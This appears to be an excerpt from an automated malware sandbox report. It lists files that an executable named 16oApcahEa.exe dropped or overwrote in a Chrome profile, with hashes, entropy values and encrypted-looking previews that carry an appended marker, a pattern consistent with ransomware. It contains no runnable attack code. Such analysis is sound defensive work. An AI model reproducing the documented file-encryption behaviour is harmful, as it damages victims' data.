Preview:	.PNG..7"..c.....L..n...1.0....FW..A.....oy....x.M....K......4./.SN.'o.T..b..?.Ts..C$....vs'a..A."oA...?8.B......Y3.P......A..0nJ.E..s....}L.k.......b.....]6..._Z..\19.Q[.....\T......:.Rs#......./.S.......i..[.`..2.....(......>O....J].L..Db0..6..I..&+.IL..M.v.V2........@.o...a.i.P..I.@..:.Kh..%.sZ...L...b=.$.......h...G..X....GV...S`k.g'>..[..d...ENh...X.0l(zA...k.!0.3.1.".....[sE..o.>.GS...Z...:...FF.vG....O.E."..vV...HI.v.>^.%..]T..W.......hV..X...yT..h.?N.\.i.....sly....YxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.52208707189568
Encrypted:	false
SSDEEP:	12:3rreyWGz+mxXok98LHXPUNmopy2GV9M2cii9a:3rrevk4keLH/UAoQ2GV9pbD
MD5:	402A1EA8E8C66E0F809A85D2242F2661
SHA1:	1193748A736E27B1B13E09DE101BEBD46DB7B02B
SHA-256:	293A4304E7648E0BF17B5FB2CE25459F15D7D1E3CE450F3FD3B79E274273E17F
SHA-512:	80DBC0DB0C0D82F80F9F9198BFCD6E45BA1462F2B8696CB8D60DE9833F6EC98DC23F6278EC0C64B56385D7246837A85995A7292D6D4BFDE5138C2CBF17138533
Malicious:	false
Preview:	.PNG....<W.o...8'.:..:...P.....<N+.......%l..SO.p.tz.!PK..&.*...=.S]W..0....o.k.{.8L].)X....6.a.K.Y..E.k.Wr...n....U.9... ..[...d..e..]\.(.P.['..P...5E.T...p...7c......m.L.c....O.C[6...M{B..3..Z....2F..1.;;/....)....X=.....6.......p.#...j F.4.&E.$7.."....eE.b...w:....A..o...M.t,.n.8t.....GH#..s.Y.......+......)T.jq...BY.K(..Rj.l..i......r...&D.v..[7....7..\_...W..\|0..i.k..KTo.,.g...$6.L.Ws/...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.548199306155904
Encrypted:	false
SSDEEP:	12:H45INVMsYxWtkGB+nuXDu5vfEqTlhrjfjRjaRxM9M2cii9a:YuAsYxHGQuX65EollfjYRxM9pbD
MD5:	E761415D0B86EF689ADEA19EC923C2F8
SHA1:	65060A80406B05E468A7A0A8085E82B55A62006C
SHA-256:	7FCA08583A84829D3EF22C5775A4FC83067A5FB285BD916EB74FC5289B1497D5
SHA-512:	678981FCC5A7F993ABF742A4CD7D2F5B761A0ECF1440A651B6995D50469C1335AE99A92F69F0570AF2E5446B44FF905F933B93C20A53681E8204624B035DC8A9
Malicious:	false
Preview:	.PNG....'..9Y.%RP..f.S.X.}#...x.[x.}..w......1...cI>..F;...IE..S..v..............8...}.ae.....e..0....n...-_...dKy...(.]k{`.rP.a..Pl.`.......v...,...p.B..\.......*nA.........`.L...;.V...A....+(.g.l..O..../...L......D.r-.6.H.4l..D.-.u....`'...YU..qq.xt..D[.......+.iF."m\,...r....-X..Y6.s..qg...._jD.........d..........y`Y..Ex........TLZ.d..w......6t.-....$.i...h....4....O.....:.c..........f.coxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.496273350316064
Encrypted:	false
SSDEEP:	12:Tzz33MZstFeG/mhzQumRVHy356K+HWrslM9E9M2cii9a:Tf3ftYGeNmRdyJ6KhQl79pbD
MD5:	40A88011B4066C452CF2DFBD44FC5AFA
SHA1:	2D271B30E8DB8BC0A2CCBC50AA3ABA7495C8E119
SHA-256:	C7ED8F68E6F2A3C75D850EC618A1D287D9310B69C3B14BAE5F4534BD486E5C35
SHA-512:	F30EE7765B15635298B7CE2BCC47255BBDA8AA635ADA4DF998C61DF04A780C2973BE9AD4FF14CB26E1DF170F3D9E6616689F1675FE660E6C59072810FA9E7DF0
Malicious:	false
Preview:	.PNG...V_~b.nw.."M.x..]V.%'...Wq.9;f"..\|BW..[....p...t+%..z..}.D.....}S.\....6.,...r...3.$Q@H...L;........S.N..p....5)........o...%.=....o#....+.<\OQ.\|.Bm..[..1.).....).,p.....//...._.7..C..N..c}..6.!{,.q7L..v~ ..]?_.m...~..8.N.3<.%..m....U1..M...n..S.....t.....0.O6......\|..1..y...`....c.`......=....o.b_Pq...H...h.. .F.._...qxl..h.=..A..tZ._.\...6,(..z<.5...W>Ad.N.....3 /%.2.M...{U....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	7.882587897916691
Encrypted:	false
SSDEEP:	48:UffMpGt9gRnDYejQ4e4kig7Lzx6s8E5oEsJD:G05RnUoQBlXvx6s5ZW
MD5:	FEB7610323D107A9E08D21FBDF384C4B
SHA1:	AC0FC6569C9EF0ABD47A9EF36A79DB30FD7A17E1
SHA-256:	7AE556227FD0BBDB16829537A35FDB25DD04972825FC95D9F65A02C71C6EE85F
SHA-512:	D94B8F3B2C80E0FCC173D5BE8AD88CCF8981EE65C498239AA41576D22E9F23EE6FA27EAAEAD7106C2374AD7F11FC81A59FAF8FF89A04E3E2C70EC391F8031F25
Malicious:	false
Preview:	{.. K6T.luR..W..f.!?4.`<...q.w...0....wC\.......6.y\.Oq.....".A...S..R....ug ...i9......W.....J...L.L...[....v..../.'..e.<..b...!...B.....qcHZv...}..I......x.8-.^iv.......'-v..\.Q...d/............f..^.l.A.0.@......<.)./...2C...\|3=.(Ehv..E...4....K..#tsx..8.bJ0..6....Z.n.c..H.+.t...?.W..........x..$s..'..o..q..p.....1Z..t.$...K..9.'.[Vn.....(.p..c._m^M.4......i..9:...'..@9.b2..G.k...v..<.....j.8.^...!...].`I...t..c.m.A.BP./.....g....,\.m..~....T.}...NA.<..........#._...2..N..0.u.Ya..N?...E#h.".`...8.SBr...p.o....z...Oh.B.... .,.L....g.m.6..a..H..K. ...?=yv7j..W.4.j...9........\|....#}.Q..(..l...s.!l..l<...\..qk.g.?......<.S.~..,y8.M..........g..!.Jl:.O."......uo..:.8.>Y.&.T..N/...8.../.b.....TB..."t.c.\|I.#.....,.^.o..Ez......yM.....t+3..&b..-o.!.Q..X.i..K..A.(...i3.IP}q......>.0z.2.R....^x..&..,.:FEWR........X.H..jY>.dGZ..y](.....Z.i..\|.7=......k2...NqRW...+..........[).._.C&......u.i...5R...C...W?..I.-...:X<.cl'..9....L.)XS........7..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	509
Entropy (8bit):	7.495320867238608
Encrypted:	false
SSDEEP:	12:SxWMnPZkZMbV6CmRKiOpckQXouBAPXNQkrn3WzuHL4P2R9M2cii9a:4hSacCmHy0AVQU3qun9pbD
MD5:	895F515663538D6FEE61E6A0CF9054EE
SHA1:	4078AE1EAD56FDF292529F0270C06A159FDEFB05
SHA-256:	326A128EF71388322E4279D31224A2CA08014406E9C77766D21492C9F74311C5
SHA-512:	78962E7400833FC5BF2E52877F382B68A0BA83601A6CAADC59033ED7B93C2B82B38D4F7F9D94C3E6A4357A3E1BE4B64AF935F74B071FB28725A70356C2F55E5B
Malicious:	false
Preview:	...#.J.:...N.......Q<K...}....Fs....Qy.....g.>..\|...\|C..$.u.V....Z.Ms+.Q...W.../L~.......t.B..S-..4!...9.....`...}..4.Vk^.AZd.....2.2.'c)...1.t.8...w./....2...\|1Hy.f.d!.p....@.z...S.......1...Fsa....Zg8..zQ.N.DFZZ....XBU..?.....F.jJ..!B9.......8....(..9.._.m.)...Z~....-.a......\|UF.....B..F.`F.}k,.8...d...F...hY..6...>8..!.W....m...P.Tp..e.Oq...C..lT.l.....U:.z...5.].p.B$.X].] ..w.U.h.@.......B#...J.(.K^.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.389179696538571
Encrypted:	false
SSDEEP:	6:jNJtLgS/vd90OtxH4hY7g0/tNDjg+OyqlldUE9p/FDEaEogSm9Hs2xcii96Z:jvJv194C7xFNDj7nqlldUEPNDBEl9M2X
MD5:	3BDD37F641F6A094C9E358D927FD66DB
SHA1:	28A8C1090B8CF030B9E45F33EBF67053BB2E8FDD
SHA-256:	F55CCB7279190FF409595BF0618D78A4BE3D442AF839FD75D694FC42E27616F3
SHA-512:	B730988F8D70CCB0323D9A73C29928F44DE05DBE6BE1DE5E9EAAF3F6CA558AC685B478905BA5C65F2081A413AA7EF2EA93533F7BA362A343995DE6674A866CAA
Malicious:	false
Preview:	.On.![b[,\..G#D..Q.\|ZB.E...E......a....}fe.t...7.+./a...V.~........q.q.j.M.}>.....Hk...i5.B.}..2.E.T..i.......g\.=.y.v.:.......@.%z:Q......x.q%..e.+C.k....A(....~...u...Y..S..a][........G.@..'...?^Q...;.r..C.,U<..A.\|q.7.N."......Kgv..;u._.......L..=..h...+.k.?.E.~p.....0.o...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8296
Entropy (8bit):	7.976508326499075
Encrypted:	false
SSDEEP:	192:AeEM5rKgNn7i+1xPMkGHYnIX66qaj5aKW2JxQBoPkCbgHaRe:ArmrKgN7i+3PeSIqOMB2JxcGbg9
MD5:	40B0812FF80B75F4D4C6D88C6CBA73DA
SHA1:	A79CD09C18C682BD8613CA12E63B34E3DEF4B689
SHA-256:	C6A41C5A6FEC678C0C5CC9763EAFFE4AE94B515DA1565F0A4F4940C3C74138C8
SHA-512:	528B9941903C3669E0650D203F5C8F0C8D9B5A78D51617E9B364125C67C8E850A722B426908F647BC4298CB6E895A0248A9BC39CC9DDC53A16A0B73151A12570
Malicious:	false
Preview:	.PNG..y.,._...O...m.:..z2f.n...a.fut.5..<.yV...s.dY.h..`...3...R4....f.V....pv.Y.Q.s..eMHLJ...Z14#-.7.5G....j.e..S..q.g~tR..D.1.......\...p..&...n...nr..#{?..G..]9.:(.....P..-....l..P.ZS.3....b.0V.s...\h...8.0.E.......0.Bp."o;./.V..7.i.V....q.XW\.......1G2.........>...S.4....Yn.O.;..D,.~.De.^~.9.. .?.......t\.PJ..).'....7...Ak.S.^..[+.v.l{..T.....#..=y.b1...'...~.h....>O......\|L.J."..,._?...Rh.I8.&I..k..bZz..VW{.bo=.F..!....q...Nqw]..6...&xs............F;.fKG.>..P.F.....-y.a....U..g2...B....![T.+\m6K...... .B3PE.r<...'..<L.._!'k.....xrYG.....w...m..z~..O.r...Q#....8;.......1...\......=...Y@......uU[.y.~xB=...O.s...a.._2......\3.v..=..?LUL...T+./..0..C.B/E......'..b.qf...}YH...<Us...m)o..E.\.."..=....M.q.,......!...[{S(=%.%f.;.YP.S.T.X..P.b.\h2....};..l.9....9...z.,"VC{..P.x.@M..T7...E....UX...U].{.B..s$.b.5....k..`.xR.'\-._.n.EU.....a.....z..y......\|..%(...]-;.x...t./.?...S.T..M.........W.b..2..@V..v.;...[!r}..p..&.Jm...".].Ws.U.......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6023
Entropy (8bit):	7.968980728298274
Encrypted:	false
SSDEEP:	96:K2KRa6hch00S68H9E0bqsfLFMAl4f9J24RjijD8k7HfvnQ14FC3CUUZrWB+u:HKRa8C0bV4C4R0D8+fo1w2Hgu
MD5:	922E5B65FACA0693D360954EDE28F011
SHA1:	62DBBCE60F6605D111A0C76F58D44C6EA4EF9D67
SHA-256:	BB02D9F531F05385B48780C8E7E55B07D0BA92A57FFB16C35AE6CB3F9DC2CAB0
SHA-512:	FA69BDE4EDDBCE5ED909CAF81CE2713919BA7A14412C34A62925FE9C61ADCE6977B166C987957878A1C6B0A4CF4C2C894A13E10DDF9C194AEAFA054DEF54CB3A
Malicious:	false
Preview:	.PNG...L.W.Q.W..7.K.......3..[..z......J-L...h..I....q>.4a..!7....;..M./^....#.3....=v~nu.G1\|..n.c-F...rsW.{..5C.9c3..#NV+.P...S..M.Y{.K2...[.E...ET1...m..y...d..m...D..&%..5....j.k&!..9. <.CHV.3.y.O(-..g.G..2......N.(...pXu...B.L...b....P.-.8t....H].A.......M....O.,.(..Y9g..mhG.Kw........[......;:...6......Y..Kr(+.p J..3....<......Y.....z..........u.C.Dn....In.1:....h.to)~...3.j:a,.......(.%.X.L.F..v./.7}$.e."K..Q...R.[....s...V...2%..=.iLe......{K.I8...<.GD..\|....Fs..(R]..K..?hA{.....].._..\|...x.....V..4.Z...p./...M!......,i1...5.~...g.K....+.5J>..b.K.[K.A.Sl..r.EkXo.2]..&..........d.Rm.......pB.$x...1...W./.d...`.%Q.....&Z._M.^jYaS.A.....u.A.>X........,...rG..P0....5.c.W#.@U.. ![U..._..4.%.-./x =r...J(ahWd.....R}`(.....7..n.0.f>..#\.......~..8......7W..Mh...a...Q...ZI....F.b<..:......A.........3.q.7.v8Z.b.7x....$.~V.d.^..E..Ho......V...\|cvV.Rj.!......n..+.Ko..&..%..0._.j..v..`.}mR9..bD.........4K....f...0..2T...\.......z....&..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	19928
Entropy (8bit):	7.99130509714115
Encrypted:	true
SSDEEP:	384:6Bw77LqmOrwEuNvKtF4WBgKb+gYF4CdsHZEbqvDVGl7xtW:6Bw7fqmOc/NvIdZSh7dsHybVtW
MD5:	5C9663D34CC7C36DC621277D4640058F
SHA1:	C89442AB8387D36D7E03008B8838496E5384FBAC
SHA-256:	09AD0DD127D02AE90AB0B22DDFAEBA887F817819B65AB5A2E9E42D6972640DB6
SHA-512:	7FB8FD4D8909560BF14AA51CC5B0449C10DA79244E0A3982E5072B2F59AA12D8DAB8B068763116679B8C618A2B71DAD345110E2D7DED06C81D403991DE8E5E9E
Malicious:	true
Preview:	.PNG...F.M......SN....S.P...z0.M^...V......"..R.Q.l.#K.C)K...5.`..B+F.....M....e....[.9...k....2.....u...II........=..D.\C]...C.8...j@...J...>Sm.E`.x..f....R..K......9........LK.k......f...83k..E..GB$.E].l).....#..d..x]H.....u.Q.&`.....@2A...:u.=...bunt."..?Hq.:LR...z..:.=..g(D.#.Tt...,..a.].>:....H.83>..Bj.8.kZ....=nC.5..E.(...b..<...Y..L{I..&..+..<..;...y...~....\|.....e..<.Q..j...Rr.W.#>C....Z.+o....6m..Q.f._.....g...P.....+..;."....v...d.......M...73m...D.8..;p.....@.&v.\.;.x....8...%GB3........R`..X/T(...I.&\|%......H.D..0.r1.o..7`.EQ3....,.....\|C.\|...K:..C.C^>..ef#,...1t..x..h....y?......w...17..Y....C..g..P.k....%..F.=nPM.`..w.=].@S..j..A<..f...q.).....4.....s...w..sS.(D...yl...p....cN/L.+^3....#..!..#../a....k .]t...n.....f.r'."$R..Y.......".v5.G...........D.5w..._:.E..e.e.Br...H..a.@..p..[I.\..>2N.o....,u.'....G.^.L..%....`..1...r.0E./.....B..x-[R.=GiF...J<+...Ql...,..q..t...7nd.....p..y...&#..ge.b....$...............;W....5.+O.'.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2150
Entropy (8bit):	7.913207335539053
Encrypted:	false
SSDEEP:	48:/4k0Awf+/Emfn5Yvq7MFH3/MP54dwq3zRlSKsUqAWaJD:Ak0JY54q7MFHvtmE9ve8
MD5:	6075F2BDBFC802F946BCBDBAACA42034
SHA1:	41B4A15CBCE4711F1E5116ADE97EC4010366F2CC
SHA-256:	554A600F9FB50F58B96EDBA5C9B42ADAD48721C8E4C33D68A3C56965ABB4843B
SHA-512:	CCD02BA3C3FA6166AE5194496AD50A457D26F1F7D9B9EE082AAE054756A1CB1F48E3FBB876B44D0C1BC67BCA1E04944D63237C044283787D52EB6FDD24E1DC74
Malicious:	false
Preview:	.PNG..R...AO...v./.X\....';h...\|g{...3S..1:.....i.p..c_.....)...4:....X...cGM....ou"._.!........f..X-~.\'&Q...X.:.0+.....+`\|....Gd.......V=.X.(..->Q.@C........N...ZW..0....v'.p..?......r.._.ez...\|...`.6+......Fg4....^F.X.... .....F..S..q..d......VR4c8.........<.j.....s%k.>...p......v...Y....J.A.S.B+....{...H.B.!...P..{k.f^.\......!.N...-..../.....k.#t..l4..>7.M...tB...W.+..y?..N..l...X.6'l........B..v...R.I.. .`-....g.....4....T...`IC.....G.....q.]y]W.wn....,1.....$.M5.w.......D...N}.XQ....V.W:8?.kS.....)..,.F.o.c....&6..9Z..,..f.p.S.F1....h...a...Z(^....E.....O....;'}.......U@._...x.................t.Q..Yn..-....w...%.H...........4.b.,..$.....@..!....Y".5....g)...^?.CDY..^.{.F.....i..2..S....x.....I`.{............\|...lPG.~.+.F9B......OJ. ....>.....B..Z..-.......A..nt.0..!.....n?..#...p..J..1K.c.....M..k....%..Y..$v..u.pLXD..g.c..hER.....D1.`.K...EB~.....8B......S.@K.T`'.g]..xT.U..S...!....._\..f.z.i. .x...u...i...]<.B.A%C.jAcaM..k

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.944359832696894
Encrypted:	false
SSDEEP:	96:V3VQeiQ80VmMSypCb7yftKeBbnH1UAKMHNMHOFt:tMNHMpCbmtK2nVUyMHOH
MD5:	2AA95DF7FF4F6EC6BA9887383E30EFE6
SHA1:	E60941FBBC26FBD07FB3EF37DCF9A7FE7961EBA6
SHA-256:	B28F7659774AEC4A33DFDAD06C01CCC42CF1F7BC37B8EEA0106C240F75CEC8CF
SHA-512:	2CE15A8A94BF1E55492AAEE19789F309CCF1E9F9F5948FD7C7166BE237049454C955D8CC19194D357E5AC25FF49231E02A00F7D23CDADBB2AC6736A5C88EA909
Malicious:	false
Preview:	.PNG.?..'(..;[C0.f\|.].............7.-._B....j.yZ.L,..#...6..y.A..~....nr.S.8.FN..G(.L...........@.u....I.`.....{.Q...3........)}i./...D..rzw+R1M(...=.......&.Cr.:..]=..6.....:...3p...........\....).n.\|.g...J.T'.h..$.'rM.a..._...C...p.....U..>.\|..x.i..A._.....3.^.V.B..rS.c.c.i....n.....I...bTC7.z..$.4......U.yy^..O7Z....EL\...2_!..z...{F.7..x.>.T.Z.:..8.....O.moi=...4..b........$..1...s.i..".u.O....z.K._.....U.(gr.kd.`..&....6..5.z....y..T...c..u...4...u./#wA......Gx..Y...m.)/.....k.g.T..............<...7.5.....`Gx^..kx.K@.....S4Ku..Y6...u...R.k..C.h1L..Q........#.....#.`+L...c...j.....x6p....V..J.G..Ut)...../....o).....8.......n.c....p..P5>y....%z.,.p.K.....6.=.F......>.I9.O........Y.\..G..mi*.0.t..{s5..lJ2...:.3.!..;...5..a..$..=Hl./..D0]vd..]N'.W=1.H<J..O&Z...v...vqjKO.QP.s..z....%.:..@<...F.x..s..1@.!....n...J....,.).zd.}.xti/(.7....-..}g..l.z..[B.!.?i'.c.....{.d..^ .......k..PQ.^{...K...............^.w.;\|6`<(.S..9......dyc

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4170
Entropy (8bit):	7.956311120360808
Encrypted:	false
SSDEEP:	96:GJKQOTtx/VG205MmY54c20oK+U4xHBi4eXj:GJqVG2OjA4VfM4xhV6j
MD5:	BE5B8036171D727065B49E63FE2841FD
SHA1:	82305AE15D0127BDCFA9139A914E423F8C1FB933
SHA-256:	616FC687F2085E9B50719C21A2483A1BC7CE03A2B42D2999DF3FA1428DABBFFA
SHA-512:	8DFD0D4BB163816972E228F6772D56B2A3AC1A892C1CC92F27D2D9F524F4C2BCFD29ADA66A0CBB7C725A56085062A69A3C20635ADD5A5632657F3922ACDDA2C7
Malicious:	false
Preview:	.PNG....l(....I...._U=.....2.oX.x.g.....S..3.5....".Z.(..{tC.t...R..ghN......A.".)%].z....c..=.....V&.......Z...su..`...G..1&/.X.I._.z.V.5px.{V..CBW.Rjo..9'......}{B..i=..{]C}..R9E..'.7......'<..{E>.X.. ...T..>..<.../$@(7l...\|..}..m5.\|..a..t......3._M..Y....'..UH.N..].o.'A........R...D.<B,$..S....}...x.%...U.}I.`..!......'.Q.A!.r..`{.J(.Xi>...T.6......(.....Iw\|.0.y.`9.0.....Nm...e..CQ...Wh.t..J6.....i.N4Q.J.....$?.Q9....o3 w..Eh. 0b..O..].U..ua......ge..:R....F../...FP..\..[n.OS...R_...ex:...a.'i...U.p...z.}.~E...2.fBw..".?.(.....w3p..Q.T.2...B\@J..H.a..#)..EQq..K5. ..`}O.;>.=..........p...4.)....%N.[./X-6.?.....q.K.e9../.kS.L....\|......K.MD...[...J..z.c.?.g#.P$rwW....*..\|..w=.C.)....%...Q..1.:.IV._.'GH:..V... i....\..E.6kJ31...1.yd/lQ.nP...g4..r..>fT..a...@a.e9.2.F.....$l$....m..1..Ub.z...,{}.=...f...g..91J..zj.7.V4Z..{X..lX.`W#..R....tW..WV....Jb...\|~CG.D...v......&...8h.n....l....I.ie....@.A. ...'B.=%...m.3.t.U.p.H\..+..F..l_g...w..'..S.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6103
Entropy (8bit):	7.96802953688673
Encrypted:	false
SSDEEP:	96:dvWtKoaZcHiCG8eehJEAcKHPA0fUE3WPd9/P5peah05+xBOiP6SZTK:yK8CeUAcSPA0s6WPP65+xBOk5ZTK
MD5:	367305F553C15FAC45B987F7EFC3B9A9
SHA1:	5442651496E8B1242CC35E512A8A0B9B224A92AE
SHA-256:	EACBE2DDBF08713473837B520FD880B7D19E7DC897941B333EEF3A54EEE16456
SHA-512:	C317955C8A59A44E6AA6FD94D0E34240B93B86A4D8D0E67C691FD9B7BF6A9A4DDA2412EC44E2E5245A73548D391D967139B7C965D3C16B13A75EBDC42B6F48FC
Malicious:	false
Preview:	.PNG..93Y...f........{.'...\|..8.4i.V.1...p"nA...S...a...].!F'.e.h9Oa...l...9...@H.E..A.....e!9uIV"T..d...Q<.i.-1.a{Mz.,9.-v...R.....D..Bf../*V.....i'..."..Y......../.!.m;.d...^.S......o%.........%....LZ._.......J6m.Wn...4....mB9'jN..^..p...$.y.).T.i..[..._.Z.E...\.u.}A.BH..0y.e.EQ"..G.......%E.(._O......L...I=.W9..aS.....n.B.6.........X.X.Fu..c...@.A.@n.l.f...v.....=P...q...W....d;..-P2^l)/......R.w..'..u..@X..w`..$.F..H.#h.p..."6)H\|eu.AK..u<.L.Ejr..6.s=.......~]..v...(..#@i7/J(.&.Q..y....E..:m.(........<RI(=.U&$].=....>....."./f...U..zD@. B.y,....?...N.f...r...k{..:...7.S..Kh?..7.~[.>.F.....p..'...@=s.l.E.Y.c..e/.........v..r..([.y[.^....;.^..I...].RG...a4.a.In.<.I]....#....yp!E.;...Db@,.....;...p....pn...(...C.w.^.......... ...5n.8..2.\|2....B.Q.f.]...[...c..w6.....Tm...y..r.8?4.=.%......Q..h.,;....9u"...r'\?S-;....Z...s...9..HI.m.7.V..{.....yq...#iW..c[E.O.).,Q..q...F..p..x.M .&k.S$..j.{l..:.......t.0&2..Z.....P'x..k/.m.}.N........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	10398
Entropy (8bit):	7.980465574665575
Encrypted:	false
SSDEEP:	192:GCbYqJQwWMD0VNPKH6gafsstMxNKtzhY4jNnn9ZGZiPEh8ddHvosUJSdB+sibPzv:5zUNiLOhaA84J9Z1y8PvuYd8RP/3
MD5:	E66672197E0BDF34848719A310F4CC3F
SHA1:	141A8319CEBF0579F75F4103F1DC6659B4A906D6
SHA-256:	F17EC8532B049F4755AB69FB96386ADBDDB621C68B59BC68A72EA53FF07EAFEC
SHA-512:	8DC8C9D0632E6231C5076C580D7A49CF4E3CF3F734644F1610D00C4FCBAE887BCAF8F38892027F94A54B9E2CFA79B662E361A02925E1787E3A91761E4AFCF9C3
Malicious:	false
Preview:	.PNG.c...k.......G..B...^..m.tr.M..A..].O.Z...'....3\|0G,.Cy..[...`g.G9r..........W..9..C2dD@i~...m.3.....1U.<.....lT.<..V........&.,..U6<....~:.#O6...2.Y..}.%.RV.o..<.-........u....?..`=....G.....x...=.......O.8.p.A......[e..3.%6'.J.c2.b.=.$&...(..j.Y.N..D......@xfa.c..5...#......C..i& ....b%..C.. Tuz......+.=..J.v6...b...7.\| .`!.'.\|.....$...#:..H.I..i7..e.....r...e..v...;.dX+.=...QiG...6.N.JS."-..f. ..8?..%...F..........Q...$.....=Re1b.N.."T.5G.X."..R...b.43...2..C....57..0...oi....w.U}B.w`.XQ..tn....X...(E.pUaY_..v...[..h.1=U@...I..p....V...........S..F.0.e.{0.5....).R..A#;..!.._.<...(PW..@~.vs...0..9)6C.......]....N.%...(...>.3....1.U.Z..w.........Uo...S.\|...../Xt.N.9.....V>...<..`..@47.....E.$.QhBvrov...Ns.#.%.w.r..&2.Q.g.\....P.3.`..bB.+....s..j..>.o.o..#h....mK%..3.._...?........8.7.Bf..='>._.B.=.....U.......mb....1.qr....H..8...r...u.8..V.B7...an..[.nqY............Xi..]..lh.+.....A...t.qH..qsQ.^..(.ALt.&$.1o....k.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7289
Entropy (8bit):	7.971852331370931
Encrypted:	false
SSDEEP:	192:EtL6PXpJPgg9YQV0hheVKqQA4Qxntg9Kz2DT9HK:EYvEQ+nb+vg9KyE
MD5:	FB261F3543F5231E263630D0F74DB188
SHA1:	63A50A4387B9F17CEDA839BE2FD6C3724BEC01F9
SHA-256:	1040937CA7C6A5D440E7087B34C33E82A891EEF029845D4C501A853324D9022C
SHA-512:	2930D5BF8354AD2F759D6676FE4603BC1BE905516D994FD8D399881A6481AFB468AB112C0395D2E1578FCED059F9FAE3F796CA43F25E16129A123049AA0D0C1D
Malicious:	false
Preview:	.PNG...$.r+W.......gv....p.+....A.<..v..%K-..o!...\....S.\|.....t`{.-.]....n.2.e.Eq0.v..E..p.'O.W..6..X..]....p.V...%a.s...NH..y^...`qz.E..&[ ..X$..y.N...9...?.jv...$JP.....N.`.CK..s-.'..X.......[.%ZuvN.S..W..Y..c.1.7p7>X[..n....38..F.t...-n..17.......T....$f.L...L.R........>.)..i.I.I..ar.V..FD.0...e..C.>bTz)MW.J(8......~..^9.#?Q..C$.,.k.U.2r.2_v......j....(S59.....nN....o...J..#^...y....D...D...h%...`b.-..w7......D...>Q&X.....&,.wB..'...;.T...c..H....r.d..D...n...P..Xq>....X."?TZ...(w...&c.lN. 